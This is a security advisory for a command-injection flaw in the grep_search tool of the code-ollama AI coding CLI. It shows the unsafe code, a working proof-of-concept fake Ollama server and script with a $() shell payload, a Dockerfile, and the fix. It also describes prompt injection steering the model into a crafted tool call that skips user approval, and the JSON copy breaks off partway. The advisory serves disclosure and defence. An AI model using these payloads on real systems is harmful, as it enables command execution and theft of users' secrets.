GHSA-456V-XQ2P-R4CJ
Vulnerability from github – Published: 2026-09-28 13:59 – Updated: 2026-09-28 13:59grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)
Summary
The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
Details
Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified child_process.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action |
|---|---|---|
| 1 | src/utils/ollama.ts:102-103 |
External Ollama chat stream delivers chunk.message.tool_calls to the CLI |
| 2 | src/cli.ts:147-148 |
Each toolCall is forwarded to tools.executeToolCall() |
| 3 | src/utils/tools/dispatcher.ts:300-306 |
Dispatcher normalizes the call and routes it |
| 4 | src/utils/tools/dispatcher.ts:392-393 |
stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() |
| 5 | src/utils/tools/filesystem/grep.ts:58-63 |
Incomplete sanitization: only \ and " are escaped (root cause) |
| 6 | src/utils/tools/filesystem/grep.ts:65 |
Shell command string assembled and handed to execShell() (sink) |
| 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 |
exec() (child_process.exec) executes the string via /bin/sh |
Approval-bypass amplifier
grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.
PoC
Prerequisites
code-ollamav0.36.0 installed (e.g.,npm install --global code-ollama@0.36.0or built from source via the Dockerfile below).ripgrep(rg) available inPATH(the vulnerable code path requires it).- Python 3 available to run the fake Ollama server.
Step 1 — Build the self-contained Docker image (recommended)
# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
The container automatically runs poc.py as CMD. Successful exploitation prints:
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
Step 2 — Manual reproduction (bare-metal)
# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading
_req = 0
_lock = threading.Lock()
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b"Ollama is running")
def do_POST(self):
global _req
l = int(self.headers.get("Content-Length", 0))
self.rfile.read(l)
with _lock:
_req += 1; n = _req
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if n == 1:
chunk = {"model":"fake","message":{"role":"assistant","content":"",
"tool_calls":[{"function":{"name":"grep_search",
"arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence # expected: uid=... gid=... groups=...
Explanation of the payload
The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
- const escapedPattern = searchPattern
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
- const escapedDirPath = dirPath
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
-
- const { stdout } = await execShell(
- `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
- );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );
Impact
This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection — can execute arbitrary commands as the OS user running code-ollama.
Impact scope:
- Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
- Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
- Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.
The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.
Reproduction artifacts
Dockerfile
# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
# docker run --rm vuln001-code-ollama
FROM node:24-slim
# ripgrep — required by grepSearch() in the vulnerable code path
# python3 — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
ripgrep \
python3 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci
# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js — the bundled CLI entrypoint
RUN npm run build
# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace
COPY vuln-001/poc.py /poc.py
WORKDIR /workspace
CMD ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink : src/utils/tools/filesystem/grep.ts:65
execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
-> grepSearch() -> execShell() -> child_process.exec()
Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.
Usage (inside Docker, called automatically by CMD):
python3 /poc.py
Expected outcome:
/tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434
# The marker file written by the injected command — used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"
# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"
# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"
# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()
# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------
class FakeOllamaHandler(BaseHTTPRequestHandler):
"""Minimal Ollama-compatible HTTP server for the PoC.
First POST /api/chat -> returns a grep_search tool_call carrying the
injected pattern.
Subsequent POSTs -> return a plain done response to terminate the
code-ollama tool-loop.
"""
def log_message(self, fmt, *args): # suppress default request logging
pass
# ------------------------------------------------------------------
# GET — health-check (code-ollama / ollama-npm may call GET /)
# ------------------------------------------------------------------
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"Ollama is running")
# ------------------------------------------------------------------
# POST — chat streaming endpoint
# ------------------------------------------------------------------
def do_POST(self):
global _request_count
# Consume request body to avoid broken-pipe on the client side
content_length = int(self.headers.get("Content-Length", 0))
_ = self.rfile.read(content_length)
with _request_lock:
_request_count += 1
current_request = _request_count
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if current_request == 1:
# ---------------------------------------------------------------
# First request: inject malicious grep_search tool call
# The `arguments` object is passed verbatim through the ollama-npm
# library and reaches grepSearch(pattern, path) in grep.ts.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
f"sending malicious grep_search tool_call")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "",
"tool_calls": [{
"function": {
"name": "grep_search",
# pattern and path are the two required string args
# validated by validateArgs() in dispatcher.ts
"arguments": {
"pattern": INJECTED_CMD,
"path": TARGET_PATH,
},
}
}],
},
"done": True,
"done_reason": "stop",
}
else:
# ---------------------------------------------------------------
# Subsequent requests: plain text to terminate the tool loop.
# No tool_calls -> nextMessages stays null -> processRunStream
# returns after checking hasUncalledToolIntent (no match on
# "Done.") so the CLI exits cleanly.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
"sending done/stop response")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "Done.",
},
"done": True,
"done_reason": "stop",
}
self.wfile.write((json.dumps(chunk) + "\n").encode())
self.wfile.flush()
def start_fake_server():
"""Start the fake Ollama server in a daemon thread."""
server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------
def main():
print("=" * 65)
print("VULN-001: grep_search Command Injection PoC (CWE-78)")
print("Target : ai-action/code-ollama v0.36.0")
print("Sink : src/utils/tools/filesystem/grep.ts:65")
print("=" * 65)
print()
print(f"[*] Payload : {INJECTED_CMD}")
print(f"[*] Marker : {MARKER_FILE}")
print()
# Clean up any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
os.unlink(MARKER_FILE)
print(f"[*] Removed stale marker file: {MARKER_FILE}")
# -----------------------------------------------------------------------
# 1. Start the fake Ollama server
# -----------------------------------------------------------------------
print(f"[*] Starting fake Ollama server on "
f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
start_fake_server()
time.sleep(0.4) # give the server socket time to bind
# -----------------------------------------------------------------------
# 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
# --trust skips the interactive directory-trust prompt (src/cli.ts:214)
# -----------------------------------------------------------------------
env = os.environ.copy()
env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"
# Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
cmd = [
"node", "/app/dist/cli.js",
"run", "--trust", "fake", "search the code",
]
print(f"[*] Executing: {' '.join(cmd)}")
print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
print()
try:
result = subprocess.run(
cmd,
env=env,
stdin=subprocess.DEVNULL, # no TTY / interactive input needed
capture_output=True,
text=True,
timeout=60,
cwd="/workspace",
)
except subprocess.TimeoutExpired:
print("[-] code-ollama subprocess timed out after 60 s")
sys.exit(1)
print("--- code-ollama stdout ---")
print(result.stdout[:3000] if result.stdout else "(empty)")
print("--- code-ollama stderr ---")
print(result.stderr[:3000] if result.stderr else "(empty)")
print(f"--- exit code: {result.returncode} ---")
print()
# -----------------------------------------------------------------------
# 3. Verify exploitation: check for the marker file
# -----------------------------------------------------------------------
if os.path.exists(MARKER_FILE):
evidence = open(MARKER_FILE).read().strip()
print("[+] ============================================================")
print("[+] EXPLOITATION CONFIRMED")
print("[+] ============================================================")
print(f"[+] Marker file : {MARKER_FILE}")
print(f"[+] Contents : {evidence!r}")
print("[+] Explanation : The $() command substitution inside the")
print("[+] grep_search pattern was NOT escaped by code-ollama's")
print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").")
print("[+] execShell() passed the raw string to child_process.exec()")
print("[+] which ran it through /bin/sh, executing the injected")
print("[+] command as the current user.")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] ============================================================")
print("[-] EXPLOITATION FAILED")
print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
print("[-] Possible causes:")
print("[-] - ollama-npm parsed tool_call.arguments differently")
print("[-] - The pattern was sanitized before reaching execShell()")
print("[-] - ripgrep is not installed so the fallback path was taken")
print("[-] - The shell used does not support $() substitution")
print("[-] ============================================================")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.36.0"
},
"package": {
"ecosystem": "npm",
"name": "code-ollama"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.36.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-28T13:59:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink \u2014 `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n .replace(/\"/g, \u0027\\\\\"\u0027);\nconst escapedDirPath = dirPath.replace(/\\\\/g, \u0027\\\\\\\\\u0027).replace(/\"/g, \u0027\\\\\"\u0027);\n\nconst { stdout } = await execShell(\n `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` \u2014 the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` \u2014 causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source \u2192 sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` \u2192 `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 \u2014 Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents : \u0027uid=0(root) gid=0(root) groups=0(root)\u0027\n```\n\n**Step 2 \u2014 Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 \u2014 start the malicious Ollama server\ncat \u003e /tmp/fake-ollama.py \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n def log_message(self, *a): pass\n def do_GET(self):\n self.send_response(200); self.end_headers()\n self.wfile.write(b\"Ollama is running\")\n def do_POST(self):\n global _req\n l = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(l)\n with _lock:\n _req += 1; n = _req\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-ndjson\")\n self.end_headers()\n if n == 1:\n chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n \"arguments\":{\"pattern\":\"$(id\u003e/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n \"done\":True,\"done_reason\":\"stop\"}\n else:\n chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n \"done\":True,\"done_reason\":\"stop\"}\n self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py \u0026\n\n# Terminal 2 \u2014 run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id\u003e/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id\u003e/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from \u0027../shell\u0027;\n+import { execFile } from \u0027../../node\u0027;\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n- const escapedPattern = searchPattern\n- .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n- .replace(/\"/g, \u0027\\\\\"\u0027);\n- const escapedDirPath = dirPath\n- .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n- .replace(/\"/g, \u0027\\\\\"\u0027);\n-\n- const { stdout } = await execShell(\n- `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n- );\n+ const { stdout } = await execFile(\n+ \u0027rg\u0027,\n+ [\u0027--line-number\u0027, \u0027--no-heading\u0027, \u0027--smart-case\u0027, \u0027--\u0027, searchPattern, dirPath],\n+ RG_EXEC_OPTIONS,\n+ );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response \u2014 including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection \u2014 can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** \u2014 attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** \u2014 attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** \u2014 attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection \u2014 CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n# docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep \u2014 required by grepSearch() in the vulnerable code path\n# python3 \u2014 runs poc.py orchestration script\nRUN apt-get update \u0026\u0026 apt-get install -y \\\n ripgrep \\\n python3 \\\n --no-install-recommends \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500 Install Node dependencies \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# \u2500\u2500 Copy source and build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY repo/ ./\n# Produces /app/dist/cli.js \u2014 the bundled CLI entrypoint\nRUN npm run build\n\n# \u2500\u2500 Runtime setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 \u2014 grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink : src/utils/tools/filesystem/grep.ts:65\n execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -\u003e tool_call.arguments.pattern\n -\u003e grepSearch() -\u003e execShell() -\u003e child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n python3 /poc.py\n\nExpected outcome:\n /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command \u2014 used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama\u0027s\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id\u003e{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n First POST /api/chat -\u003e returns a grep_search tool_call carrying the\n injected pattern.\n Subsequent POSTs -\u003e return a plain done response to terminate the\n code-ollama tool-loop.\n \"\"\"\n\n def log_message(self, fmt, *args): # suppress default request logging\n pass\n\n # ------------------------------------------------------------------\n # GET \u2014 health-check (code-ollama / ollama-npm may call GET /)\n # ------------------------------------------------------------------\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"Ollama is running\")\n\n # ------------------------------------------------------------------\n # POST \u2014 chat streaming endpoint\n # ------------------------------------------------------------------\n def do_POST(self):\n global _request_count\n\n # Consume request body to avoid broken-pipe on the client side\n content_length = int(self.headers.get(\"Content-Length\", 0))\n _ = self.rfile.read(content_length)\n\n with _request_lock:\n _request_count += 1\n current_request = _request_count\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-ndjson\")\n self.end_headers()\n\n if current_request == 1:\n # ---------------------------------------------------------------\n # First request: inject malicious grep_search tool call\n # The `arguments` object is passed verbatim through the ollama-npm\n # library and reaches grepSearch(pattern, path) in grep.ts.\n # ---------------------------------------------------------------\n print(f\"[fake-ollama] Request #{current_request}: \"\n f\"sending malicious grep_search tool_call\")\n sys.stdout.flush()\n\n chunk = {\n \"model\": \"fake\",\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"\",\n \"tool_calls\": [{\n \"function\": {\n \"name\": \"grep_search\",\n # pattern and path are the two required string args\n # validated by validateArgs() in dispatcher.ts\n \"arguments\": {\n \"pattern\": INJECTED_CMD,\n \"path\": TARGET_PATH,\n },\n }\n }],\n },\n \"done\": True,\n \"done_reason\": \"stop\",\n }\n else:\n # ---------------------------------------------------------------\n # Subsequent requests: plain text to terminate the tool loop.\n # No tool_calls -\u003e nextMessages stays null -\u003e processRunStream\n # returns after checking hasUncalledToolIntent (no match on\n # \"Done.\") so the CLI exits cleanly.\n # ---------------------------------------------------------------\n print(f\"[fake-ollama] Request #{current_request}: \"\n \"sending done/stop response\")\n sys.stdout.flush()\n\n chunk = {\n \"model\": \"fake\",\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"Done.\",\n },\n \"done\": True,\n \"done_reason\": \"stop\",\n }\n\n self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n self.wfile.flush()\n\n\ndef start_fake_server():\n \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n print(\"=\" * 65)\n print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n print(\"Target : ai-action/code-ollama v0.36.0\")\n print(\"Sink : src/utils/tools/filesystem/grep.ts:65\")\n print(\"=\" * 65)\n print()\n print(f\"[*] Payload : {INJECTED_CMD}\")\n print(f\"[*] Marker : {MARKER_FILE}\")\n print()\n\n # Clean up any leftover marker from a previous run\n if os.path.exists(MARKER_FILE):\n os.unlink(MARKER_FILE)\n print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n # -----------------------------------------------------------------------\n # 1. Start the fake Ollama server\n # -----------------------------------------------------------------------\n print(f\"[*] Starting fake Ollama server on \"\n f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n start_fake_server()\n time.sleep(0.4) # give the server socket time to bind\n\n # -----------------------------------------------------------------------\n # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n # --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n # -----------------------------------------------------------------------\n env = os.environ.copy()\n 